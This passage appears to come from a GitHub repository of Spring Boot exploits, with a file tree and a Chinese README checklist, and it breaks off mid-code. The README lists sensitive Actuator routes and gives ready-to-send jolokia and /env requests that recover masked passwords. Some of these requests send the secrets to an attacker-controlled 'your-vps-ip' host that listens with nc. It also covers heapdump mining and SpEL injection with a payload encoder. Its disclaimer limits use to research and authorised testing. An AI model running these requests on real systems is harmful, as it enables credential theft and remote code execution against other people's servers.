├── .gitignore ├── README.md ├── codebase ├── JNDIObject.java ├── springboot-jdbc-deserialization-rce.py ├── springboot-realm-jndi-rce.py └── springboot-xstream-rce.py └── repository ├── springboot-eureka-xstream-rce ├── pom.xml ├── springboot-eureka-xstream-rce.iml └── src │ └── main │ ├── java │ └── code │ │ └── landgrey │ │ ├── Application.java │ │ └── controller │ │ └── Article.java │ └── resources │ └── application.properties ├── springboot-h2-database-rce ├── pom.xml ├── springboot-h2-database-rce.iml └── src │ └── main │ ├── java │ └── code │ │ └── landgrey │ │ ├── Application.java │ │ └── controller │ │ └── Article.java │ └── resources │ └── application.properties ├── springboot-jolokia-logback-rce ├── pom.xml ├── springboot-jolokia-logback-rce.iml └── src │ └── main │ ├── java │ └── code │ │ └── landgrey │ │ ├── Application.java │ │ └── controller │ │ └── Article.java │ └── resources │ ├── application.properties │ └── logback.xml ├── springboot-mysql-jdbc-rce ├── pom.xml ├── springboot-mysql-jdbc-rce.iml └── src │ └── main │ ├── java │ └── code │ │ └── landgrey │ │ ├── Application.java │ │ ├── commands │ │ └── ProductForm.java │ │ ├── controllers │ │ ├── HelloController.java │ │ └── ProductController.java │ │ ├── converters │ │ ├── ProductFormToProduct.java │ │ └── ProductToProductForm.java │ │ ├── domain │ │ └── Product.java │ │ ├── repositories │ │ └── ProductRepository.java │ │ └── services │ │ ├── ProductService.java │ │ └── ProductServiceImpl.java │ └── resources │ ├── application.properties │ └── templates │ └── product │ ├── list.html │ ├── productform.html │ └── show.html ├── springboot-restart-rce ├── pom.xml └── src │ └── main │ ├── java │ └── code │ │ └── landgrey │ │ ├── Application.java │ │ └── controller │ │ └── Article.java │ └── resources │ └── application.properties ├── springboot-spel-rce ├── pom.xml ├── springboot-spel-rce.iml └── src │ └── main │ ├── java │ └── code │ │ └── landgrey │ │ ├── Application.java │ │ └── controller │ │ └── Article.java │ └── resources │ └── application.properties └── springcloud-snakeyaml-rce ├── pom.xml ├── springcloud-snakeyaml-rce.iml └── src └── main ├── java └── code │ └── landgrey │ ├── Application.java │ └── controller │ └── Article.java └── resources └── application.properties /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | 3 | 4 | **/target/** 5 | **/.idea/** 6 | *.iml 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Spring Boot Vulnerability Exploit Check List 2 | 3 | Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list 4 | 5 | 6 | 7 | ## 声明 8 | 9 | > **⚠️ 本项目所有内容仅作为安全研究和授权测试使用, 相关人员对因误用和滥用该项目造成的一切损害概不负责** 10 | 11 | 12 | 13 | 目录 14 | ----------------- 15 | 16 | * [Spring Boot Vulnerability Exploit Check List](#spring-boot-vulnerability-exploit-check-list) 17 | * [零:路由和版本](#零路由和版本) 18 | * [0x01:路由知识](#0x01路由知识) 19 | * [0x02:版本知识](#0x02版本知识) 20 | * [组件版本的相互依赖关系:](#组件版本的相互依赖关系) 21 | * [Spring Cloud 与 Spring Boot 版本之间的依赖关系:](#spring-cloud-与-spring-boot-版本之间的依赖关系) 22 | * [Spring Cloud 小版本号的后缀及含义:](#spring-cloud-小版本号的后缀及含义) 23 | * [一:信息泄露](#一信息泄露) 24 | * [0x01:路由地址及接口调用详情泄漏](#0x01路由地址及接口调用详情泄漏) 25 | * [0x02:配置不当而暴露的路由](#0x02配置不当而暴露的路由) 26 | * [0x03:获取被星号脱敏的密码的明文 (方法一)](#0x03获取被星号脱敏的密码的明文-方法一) 27 | * [利用条件:](#利用条件) 28 | * [利用方法:](#利用方法) 29 | * [步骤一: 找到想要获取的属性名](#步骤一-找到想要获取的属性名) 30 | * [步骤二: jolokia 调用相关 Mbean 获取明文](#步骤二-jolokia-调用相关-mbean-获取明文) 31 | * [0x04:获取被星号脱敏的密码的明文 (方法二)](#0x04获取被星号脱敏的密码的明文-方法二) 32 | * [利用条件:](#利用条件-1) 33 | * [利用方法:](#利用方法-1) 34 | * [步骤一: 找到想要获取的属性名](#步骤一-找到想要获取的属性名-1) 35 | * [步骤二: 使用 nc 监听 HTTP 请求](#步骤二-使用-nc-监听-http-请求) 36 | * [步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性](#步骤三-设置-eurekaclientserviceurldefaultzone-属性) 37 | * [步骤四: 刷新配置](#步骤四-刷新配置) 38 | * [步骤五: 解码属性值](#步骤五-解码属性值) 39 | * [0x05:获取被星号脱敏的密码的明文 (方法三)](#0x05获取被星号脱敏的密码的明文-方法三) 40 | * [利用条件:](#利用条件-2) 41 | * [利用方法:](#利用方法-2) 42 | * [步骤一: 找到想要获取的属性名](#步骤一-找到想要获取的属性名-2) 43 | * [步骤二: 使用 nc 监听 HTTP 请求](#步骤二-使用-nc-监听-http-请求-1) 44 | * [步骤三: 触发对外 http 请求](#步骤三-触发对外-http-请求) 45 | * [步骤四: 刷新配置](#步骤四-刷新配置-1) 46 | * [0x06:获取被星号脱敏的密码的明文 (方法四)](#0x06获取被星号脱敏的密码的明文-方法四) 47 | * [利用条件:](#利用条件-3) 48 | * [利用方法:](#利用方法-3) 49 | * [步骤一: 找到想要获取的属性名](#步骤一-找到想要获取的属性名-3) 50 | * [步骤二: 下载 jvm heap 信息](#步骤二-下载-jvm-heap-信息) 51 | * [步骤三: 使用 MAT 获得 jvm heap 中的密码明文](#步骤三-使用-mat-获得-jvm-heap-中的密码明文) 52 | * [二:远程代码执行](#二远程代码执行) 53 | * [0x01:whitelabel error page SpEL RCE](#0x01whitelabel-error-page-spel-rce) 54 | * [利用条件:](#利用条件-4) 55 | * [利用方法:](#利用方法-4) 56 | * [步骤一:找到一个正常传参处](#步骤一找到一个正常传参处) 57 | * [步骤二:执行 SpEL 表达式](#步骤二执行-spel-表达式) 58 | * [漏洞原理:](#漏洞原理) 59 | * [漏洞分析:](#漏洞分析) 60 | * [漏洞环境:](#漏洞环境) 61 | * [0x02:spring cloud SnakeYAML RCE](#0x02spring-cloud-snakeyaml-rce) 62 | * [利用条件:](#利用条件-5) 63 | * [利用方法:](#利用方法-5) 64 | * [步骤一: 托管 yml 和 jar 文件](#步骤一-托管-yml-和-jar-文件) 65 | * [步骤二: 设置 spring.cloud.bootstrap.location 属性](#步骤二-设置-springcloudbootstraplocation-属性) 66 | * [步骤三: 刷新配置](#步骤三-刷新配置) 67 | * [漏洞原理:](#漏洞原理-1) 68 | * [漏洞分析:](#漏洞分析-1) 69 | * [漏洞环境:](#漏洞环境-1) 70 | * [0x03:eureka xstream deserialization RCE](#0x03eureka-xstream-deserialization-rce) 71 | * [利用条件:](#利用条件-6) 72 | * [利用方法:](#利用方法-6) 73 | * [步骤一:架设响应恶意 XStream payload 的网站](#步骤一架设响应恶意-xstream-payload-的网站) 74 | * [步骤二:监听反弹 shell 的端口](#步骤二监听反弹-shell-的端口) 75 | * [步骤三:设置 eureka.client.serviceUrl.defaultZone 属性](#步骤三设置-eurekaclientserviceurldefaultzone-属性) 76 | * [步骤四:刷新配置](#步骤四刷新配置) 77 | * [漏洞原理:](#漏洞原理-2) 78 | * [漏洞分析:](#漏洞分析-2) 79 | * [漏洞环境:](#漏洞环境-2) 80 | * [0x04:jolokia logback JNDI RCE](#0x04jolokia-logback-jndi-rce) 81 | * [利用条件:](#利用条件-7) 82 | * [利用方法:](#利用方法-7) 83 | * [步骤一:查看已存在的 MBeans](#步骤一查看已存在的-mbeans) 84 | * [步骤二:托管 xml 文件](#步骤二托管-xml-文件) 85 | * [步骤三:准备要执行的 Java 代码](#步骤三准备要执行的-java-代码) 86 | * [步骤四:架设恶意 ldap 服务](#步骤四架设恶意-ldap-服务) 87 | * [步骤五:监听反弹 shell 的端口](#步骤五监听反弹-shell-的端口) 88 | * [步骤六:从外部 URL 地址加载日志配置文件](#步骤六从外部-url-地址加载日志配置文件) 89 | * [漏洞原理:](#漏洞原理-3) 90 | * [漏洞分析:](#漏洞分析-3) 91 | * [漏洞环境:](#漏洞环境-3) 92 | * [0x05:jolokia Realm JNDI RCE](#0x05jolokia-realm-jndi-rce) 93 | * [利用条件:](#利用条件-8) 94 | * [利用方法:](#利用方法-8) 95 | * [步骤一:查看已存在的 MBeans](#步骤一查看已存在的-mbeans-1) 96 | * [步骤二:准备要执行的 Java 代码](#步骤二准备要执行的-java-代码) 97 | * [步骤三:托管 class 文件](#步骤三托管-class-文件) 98 | * [步骤四:架设恶意 rmi 服务](#步骤四架设恶意-rmi-服务) 99 | * [步骤五:监听反弹 shell 的端口](#步骤五监听反弹-shell-的端口-1) 100 | * [步骤六:发送恶意 payload](#步骤六发送恶意-payload) 101 | * [漏洞原理:](#漏洞原理-4) 102 | * [漏洞分析:](#漏洞分析-4) 103 | * [漏洞环境:](#漏洞环境-4) 104 | * [0x06:restart h2 database query RCE](#0x06restart-h2-database-query-rce) 105 | * [利用条件:](#利用条件-9) 106 | * [利用方法:](#利用方法-9) 107 | * [步骤一:设置 spring.datasource.hikari.connection-test-query 属性](#步骤一设置-springdatasourcehikariconnection-test-query-属性) 108 | * [步骤二:重启应用](#步骤二重启应用) 109 | * [漏洞原理:](#漏洞原理-5) 110 | * [漏洞分析:](#漏洞分析-5) 111 | * [漏洞环境:](#漏洞环境-5) 112 | * [0x07:h2 database console JNDI RCE](#0x07h2-database-console-jndi-rce) 113 | * [利用条件:](#利用条件-10) 114 | * [利用方法:](#利用方法-10) 115 | * [步骤一:访问路由获得 jsessionid](#步骤一访问路由获得-jsessionid) 116 | * [步骤二:准备要执行的 Java 代码](#步骤二准备要执行的-java-代码-1) 117 | * [步骤三:托管 class 文件](#步骤三托管-class-文件-1) 118 | * [步骤四:架设恶意 ldap 服务](#步骤四架设恶意-ldap-服务-1) 119 | * [步骤五:监听反弹 shell 的端口](#步骤五监听反弹-shell-的端口-2) 120 | * [步骤六:发包触发 JNDI 注入](#步骤六发包触发-jndi-注入) 121 | * [漏洞分析:](#漏洞分析-6) 122 | * [漏洞环境:](#漏洞环境-6) 123 | * [0x08:mysql jdbc deserialization RCE](#0x08mysql-jdbc-deserialization-rce) 124 | * [利用条件:](#利用条件-11) 125 | * [利用方法:](#利用方法-11) 126 | * [步骤一:查看环境依赖](#步骤一查看环境依赖) 127 | * [步骤二:架设恶意 rogue mysql server](#步骤二架设恶意-rogue-mysql-server) 128 | * [步骤三:设置 spring.datasource.url 属性](#步骤三设置-springdatasourceurl-属性) 129 | * [步骤四:刷新配置](#步骤四刷新配置-1) 130 | * [步骤五:触发数据库查询](#步骤五触发数据库查询) 131 | * [步骤六:恢复正常 jdbc url](#步骤六恢复正常-jdbc-url) 132 | * [漏洞原理:](#漏洞原理-6) 133 | * [漏洞分析:](#漏洞分析-7) 134 | * [漏洞环境:](#漏洞环境-7) 135 | * [0x09:restart logging.config logback JNDI RCE](#0x09restart-loggingconfig-logback-jndi-rce) 136 | * [利用条件:](#利用条件-12) 137 | * [利用方法:](#利用方法-12) 138 | * [步骤一:托管 xml 文件](#步骤一托管-xml-文件) 139 | * [步骤二:托管恶意 ldap 服务及代码](#步骤二托管恶意-ldap-服务及代码) 140 | * [步骤三:设置 logging.config 属性](#步骤三设置-loggingconfig-属性) 141 | * [步骤四:重启应用](#步骤四重启应用) 142 | * [漏洞原理:](#漏洞原理-7) 143 | * [漏洞分析:](#漏洞分析-8) 144 | * [漏洞环境:](#漏洞环境-8) 145 | * [0x0A:restart logging.config groovy RCE](#0x0arestart-loggingconfig-groovy-rce) 146 | * [利用条件:](#利用条件-13) 147 | * [利用方法:](#利用方法-13) 148 | * [步骤一:托管 groovy 文件](#步骤一托管-groovy-文件) 149 | * [步骤二:设置 logging.config 属性](#步骤二设置-loggingconfig-属性) 150 | * [步骤三:重启应用](#步骤三重启应用) 151 | * [漏洞原理:](#漏洞原理-8) 152 | * [漏洞环境:](#漏洞环境-9) 153 | * [0x0B:restart spring.main.sources groovy RCE](#0x0brestart-springmainsources-groovy-rce) 154 | * [利用条件:](#利用条件-14) 155 | * [利用方法:](#利用方法-14) 156 | * [步骤一:托管 groovy 文件](#步骤一托管-groovy-文件-1) 157 | * [步骤二:设置 spring.main.sources 属性](#步骤二设置-springmainsources-属性) 158 | * [步骤三:重启应用](#步骤三重启应用-1) 159 | * [漏洞原理:](#漏洞原理-9) 160 | * [漏洞环境:](#漏洞环境-10) 161 | * [0x0C:restart spring.datasource.data h2 database RCE](#0x0crestart-springdatasourcedata-h2-database-rce) 162 | * [利用条件:](#利用条件-15) 163 | * [利用方法:](#利用方法-15) 164 | * [步骤一:托管 sql 文件](#步骤一托管-sql-文件) 165 | * [步骤二:设置 spring.datasource.data 属性](#步骤二设置-springdatasourcedata-属性) 166 | * [步骤三:重启应用](#步骤三重启应用-2) 167 | * [漏洞原理:](#漏洞原理-10) 168 | * [漏洞环境:](#漏洞环境-11) 169 | 170 | 171 | 172 | ## 零:路由和版本 173 | 174 | ### 0x01:路由知识 175 | 176 | - 有些程序员会自定义 `/manage`、`/management` 、**项目 App 相关名称**为 spring 根路径 177 | - Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 `/` ,2.x 版本则统一以 `/actuator` 为起始路径 178 | - Spring Boot Actuator 默认的内置路由名字,如 `/env` 有时候也会被程序员修改,比如修改成 `/appenv` 179 | 180 | 181 | 182 | ### 0x02:版本知识 183 | 184 | > Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。 185 | 186 | 187 | 188 | #### 组件版本的相互依赖关系: 189 | 190 | | 依赖项 | 版本列表及依赖组件版本 | 191 | | -------------------------- | ------------------------------------------------------------ | 192 | | spring-boot-starter-parent | [spring-boot-starter-parent](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-parent) | 193 | | spring-boot-dependencies | [spring-boot-dependencies](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-dependencies) | 194 | | spring-cloud-dependencies | [spring-cloud-dependencies](https://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-dependencies) | 195 | 196 | 197 | 198 | #### Spring Cloud 与 Spring Boot 版本之间的依赖关系: 199 | 200 | | Spring Cloud 大版本 | Spring Boot 版本 | 201 | | ------------------- | ------------------------------------ | 202 | | Angel | 兼容 Spring Boot 1.2.x | 203 | | Brixton | 兼容 Spring Boot 1.3.x、1.4.x | 204 | | Camden | 兼容 Spring Boot 1.4.x、1.5.x | 205 | | Dalston | 兼容 Spring Boot 1.5.x,不兼容 2.0.x | 206 | | Edgware | 兼容 Spring Boot 1.5.x,不兼容 2.0.x | 207 | | Finchley | 兼容 Spring Boot 2.0.x,不兼容 1.5.x | 208 | | Greenwich | 兼容 Spring Boot 2.1.x | 209 | | Hoxton | 兼容 Spring Boot 2.2.x | 210 | 211 | 212 | 213 | #### Spring Cloud 小版本号的后缀及含义: 214 | 215 | | 小版本号后缀 | 含义 | 216 | | -------------- | --------------------------------------- | 217 | | BUILD-SNAPSHOT | 快照版,代码不是固定,处于变化之中 | 218 | | MX | 里程碑版 | 219 | | RCX | 候选发布版 | 220 | | RELEASE | 正式发布版 | 221 | | SRX | (修复错误和 bug 并再次发布的)正式发布版 | 222 | 223 | 224 | 225 | ## 一:信息泄露 226 | 227 | ### 0x01:路由地址及接口调用详情泄漏 228 | 229 | > 开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等 230 | > 231 | 232 | 233 | 234 | 直接访问以下两个 swagger 相关路由,验证漏洞是否存在: 235 | 236 | ``` 237 | /v2/api-docs 238 | /swagger-ui.html 239 | ``` 240 | 241 | 242 | 243 | 其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由: 244 | 245 | ``` 246 | /swagger 247 | /api-docs 248 | /api.html 249 | /swagger-ui 250 | /swagger/codes 251 | /api/index.html 252 | /api/v2/api-docs 253 | /v2/swagger.json 254 | /swagger-ui/html 255 | /distv2/index.html 256 | /swagger/index.html 257 | /sw/swagger-ui.html 258 | /api/swagger-ui.html 259 | /static/swagger.json 260 | /user/swagger-ui.html 261 | /swagger-ui/index.html 262 | /swagger-dubbo/api-docs 263 | /template/swagger-ui.html 264 | /swagger/static/index.html 265 | /dubbo-provider/distv2/index.html 266 | /spring-security-rest/api/swagger-ui.html 267 | /spring-security-oauth-resource/swagger-ui.html 268 | ``` 269 | 270 | 271 | 272 | 除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息: 273 | 274 | ``` 275 | /mappings 276 | /metrics 277 | /beans 278 | /configprops 279 | /actuator/metrics 280 | /actuator/mappings 281 | /actuator/beans 282 | /actuator/configprops 283 | ``` 284 | 285 | 286 | 287 | **一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞**,但是以 "**默认安全**" 来讲,不暴露出这些信息更加安全。 288 | 289 | 对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。 290 | 291 | 292 | 293 | ### 0x02:配置不当而暴露的路由 294 | 295 | > 主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置 296 | 297 | 298 | 299 | 参考 [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) 和 [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt),可能因为配置不当而暴露的默认内置路由可能会有: 300 | 301 | ``` 302 | /actuator 303 | /auditevents 304 | /autoconfig 305 | /beans 306 | /caches 307 | /conditions 308 | /configprops 309 | /docs 310 | /dump 311 | /env 312 | /flyway 313 | /health 314 | /heapdump 315 | /httptrace 316 | /info 317 | /intergrationgraph 318 | /jolokia 319 | /logfile 320 | /loggers 321 | /liquibase 322 | /metrics 323 | /mappings 324 | /prometheus 325 | /refresh 326 | /scheduledtasks 327 | /sessions 328 | /shutdown 329 | /trace 330 | /threaddump 331 | /actuator/auditevents 332 | /actuator/beans 333 | /actuator/health 334 | /actuator/conditions 335 | /actuator/configprops 336 | /actuator/env 337 | /actuator/info 338 | /actuator/loggers 339 | /actuator/heapdump 340 | /actuator/threaddump 341 | /actuator/metrics 342 | /actuator/scheduledtasks 343 | /actuator/httptrace 344 | /actuator/mappings 345 | /actuator/jolokia 346 | /actuator/hystrix.stream 347 | ``` 348 | 349 | 350 | 351 | 其中对寻找漏洞比较重要接口的有: 352 | 353 | - `/env`、`/actuator/env` 354 | 355 | GET 请求 `/env` 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文; 356 | 357 | 同时有一定概率可以通过 POST 请求 `/env` 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。 358 | 359 | - `/refresh`、`/actuator/refresh` 360 | 361 | POST 请求 `/env` 接口设置属性后,可同时配合 POST 请求 `/refresh` 接口刷新属性变量来触发相关 RCE 漏洞。 362 | 363 | - `/restart`、`/actuator/restart` 364 | 365 | 暴露出此接口的情况较少;可以配合 POST请求 `/env` 接口设置属性后,再 POST 请求 `/restart` 接口重启应用来触发相关 RCE 漏洞。 366 | 367 | - `/jolokia`、`/actuator/jolokia` 368 | 369 | 可以通过 `/jolokia/list` 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。 370 | 371 | - `/trace`、`/actuator/httptrace` 372 | 373 | 一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。 374 | 375 | 376 | 377 | ### 0x03:获取被星号脱敏的密码的明文 (方法一) 378 | 379 | > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果 380 | 381 | #### 利用条件: 382 | 383 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口 384 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知) 385 | 386 | 387 | 388 | #### 利用方法: 389 | 390 | ##### 步骤一: 找到想要获取的属性名 391 | 392 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 393 | 394 | 395 | 396 | ##### 步骤二: jolokia 调用相关 Mbean 获取明文 397 | 398 | 将下面示例中的 `security.user.password` 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 `value` 键中。 399 | 400 | 401 | 402 | - 调用 `org.springframework.boot` Mbean 403 | 404 | > 实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法 405 | 406 | spring 1.x 407 | 408 | ``` 409 | POST /jolokia 410 | Content-Type: application/json 411 | 412 | {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 413 | ``` 414 | 415 | spring 2.x 416 | 417 | ``` 418 | POST /actuator/jolokia 419 | Content-Type: application/json 420 | 421 | {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 422 | ``` 423 | 424 | 425 | 426 | - 调用 `org.springframework.cloud.context.environment` Mbean 427 | 428 | 429 | > 实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法 430 | 431 | spring 1.x 432 | 433 | ``` 434 | POST /jolokia 435 | Content-Type: application/json 436 | 437 | {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 438 | ``` 439 | 440 | spring 2.x 441 | 442 | ``` 443 | POST /actuator/jolokia 444 | Content-Type: application/json 445 | 446 | {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 447 | ``` 448 | 449 | 450 | 451 | - 调用其他 Mbean 452 | 453 | > 目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。 454 | 455 | 456 | 457 | ### 0x04:获取被星号脱敏的密码的明文 (方法二) 458 | 459 | #### 利用条件: 460 | 461 | - 可以 GET 请求目标网站的 `/env` 462 | - 可以 POST 请求目标网站的 `/env` 463 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖) 464 | - 目标使用了 `spring-cloud-starter-netflix-eureka-client` 依赖 465 | - 目标可以请求攻击者的服务器(请求可出外网) 466 | 467 | 468 | 469 | #### 利用方法: 470 | 471 | ##### 步骤一: 找到想要获取的属性名 472 | 473 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 474 | 475 | 476 | 477 | ##### 步骤二: 使用 nc 监听 HTTP 请求 478 | 479 | 在自己控制的外网服务器上监听 80 端口: 480 | 481 | ```bash 482 | nc -lvk 80 483 | ``` 484 | 485 | 486 | 487 | ##### 步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性 488 | 489 | 将下面 `http://value:${security.user.password}@your-vps-ip` 中的 `security.user.password` 换成自己想要获取的对应的星号 * 遮掩的属性名; 490 | 491 | `your-vps-ip` 换成自己外网服务器的真实 ip 地址。 492 | 493 | 494 | 495 | spring 1.x 496 | 497 | ``` 498 | POST /env 499 | Content-Type: application/x-www-form-urlencoded 500 | 501 | eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip 502 | ``` 503 | 504 | spring 2.x 505 | 506 | ``` 507 | POST /actuator/env 508 | Content-Type: application/json 509 | 510 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"} 511 | ``` 512 | 513 | 514 | 515 | ##### 步骤四: 刷新配置 516 | 517 | spring 1.x 518 | 519 | ``` 520 | POST /refresh 521 | Content-Type: application/x-www-form-urlencoded 522 | 523 | ``` 524 | 525 | spring 2.x 526 | 527 | ``` 528 | POST /actuator/refresh 529 | Content-Type: application/json 530 | 531 | ``` 532 | 533 | 534 | 535 | ##### 步骤五: 解码属性值 536 | 537 | 正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 `Authorization` 头内容: 538 | 539 | ``` 540 | Authorization: Basic dmFsdWU6MTIzNDU2 541 | ``` 542 | 543 | 将其中的 `dmFsdWU6MTIzNDU2`部分使用 base64 解码,即可获得类似明文值 `value:123456`,其中的 `123456` 即是目标星号 * 脱敏前的属性值明文。 544 | 545 | 546 | 547 | ### 0x05:获取被星号脱敏的密码的明文 (方法三) 548 | 549 | #### 利用条件: 550 | 551 | - 通过 POST `/env` 设置属性触发目标对外网指定地址发起任意 http 请求 552 | - 目标可以请求攻击者的服务器(请求可出外网) 553 | 554 | 555 | 556 | #### 利用方法: 557 | 558 | > 参考 UUUUnotfound 提出的 [issue-1](https://github.com/LandGrey/SpringBootVulExploit/issues/1),可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据 559 | 560 | ##### 步骤一: 找到想要获取的属性名 561 | 562 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 563 | 564 | 565 | 566 | ##### 步骤二: 使用 nc 监听 HTTP 请求 567 | 568 | 在自己控制的外网服务器上监听 80 端口: 569 | 570 | ```bash 571 | nc -lvk 80 572 | ``` 573 | 574 | 575 | 576 | ##### 步骤三: 触发对外 http 请求 577 | 578 | - `spring.cloud.bootstrap.location` 方法(**同时适用于**明文数据中有特殊 url 字符的情况) 579 | 580 | spring 1.x 581 | 582 | ``` 583 | POST /env 584 | Content-Type: application/x-www-form-urlencoded 585 | 586 | spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password} 587 | ``` 588 | 589 | spring 2.x 590 | 591 | ``` 592 | POST /actuator/env 593 | Content-Type: application/json 594 | 595 | {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"} 596 | ``` 597 | 598 | 599 | 600 | - `eureka.client.serviceUrl.defaultZone` 方法(**不适用于**明文数据中有特殊 url 字符的情况) 601 | 602 | spring 1.x 603 | 604 | ``` 605 | POST /env 606 | Content-Type: application/x-www-form-urlencoded 607 | 608 | eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password} 609 | ``` 610 | 611 | spring 2.x 612 | 613 | ``` 614 | POST /actuator/env 615 | Content-Type: application/json 616 | 617 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"} 618 | ``` 619 | 620 | 621 | 622 | ##### 步骤四: 刷新配置 623 | 624 | spring 1.x 625 | 626 | ``` 627 | POST /refresh 628 | Content-Type: application/x-www-form-urlencoded 629 | 630 | ``` 631 | 632 | spring 2.x 633 | 634 | ``` 635 | POST /actuator/refresh 636 | Content-Type: application/json 637 | 638 | ``` 639 | 640 | ### 0x06:获取被星号脱敏的密码的明文 (方法四) 641 | 642 | > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果 643 | 644 | #### 利用条件: 645 | 646 | - 可正常 GET 请求目标 `/heapdump` 或 `/actuator/heapdump` 接口 647 | 648 | 649 | 650 | #### 利用方法: 651 | 652 | ##### 步骤一: 找到想要获取的属性名 653 | 654 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 655 | 656 | 657 | 658 | ##### 步骤二: 下载 jvm heap 信息 659 | 660 | > 下载的 heapdump 文件大小通常在 50M—500M 之间,有时候也可能会大于 2G 661 | 662 | `GET` 请求目标的 `/heapdump` 或 `/actuator/heapdump` 接口,下载应用实时的 JVM 堆信息 663 | 664 | 665 | 666 | ##### 步骤三: 使用 MAT 获得 jvm heap 中的密码明文 667 | 668 | 参考 [文章](https://landgrey.me/blog/16/) 方法,使用 [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php) 工具的 **OQL** 语句 669 | 670 | ``` 671 | select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password")) 672 | 673 | 或 674 | 675 | select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password")) 676 | ``` 677 | 678 | 辅助用 "**password**" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。 679 | 680 | 681 | 682 | ## 二:远程代码执行 683 | 684 | > 由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准 685 | 686 | 687 | 688 | ### 0x01:whitelabel error page SpEL RCE 689 | 690 | #### 利用条件: 691 | 692 | - spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0 693 | - 至少知道一个触发 springboot 默认错误页面的接口及参数名 694 | 695 | 696 | 697 | #### 利用方法: 698 | 699 | ##### 步骤一:找到一个正常传参处 700 | 701 | 比如发现访问 `/article?id=xxx` ,页面会报状态码为 500 的错误: `Whitelabel Error Page`,则后续 payload 都将会在参数 id 处尝试。 702 | 703 | 704 | 705 | ##### 步骤二:执行 SpEL 表达式 706 | 707 | 输入 `/article?id=${7*7}` ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。 708 | 709 | 由字符串格式转换成 `0x**` java 字节形式,方便执行任意代码: 710 | 711 | ```python 712 | # coding: utf-8 713 | 714 | result = "" 715 | target = 'open -a Calculator' 716 | for x in target: 717 | result += hex(ord(x)) + "," 718 | 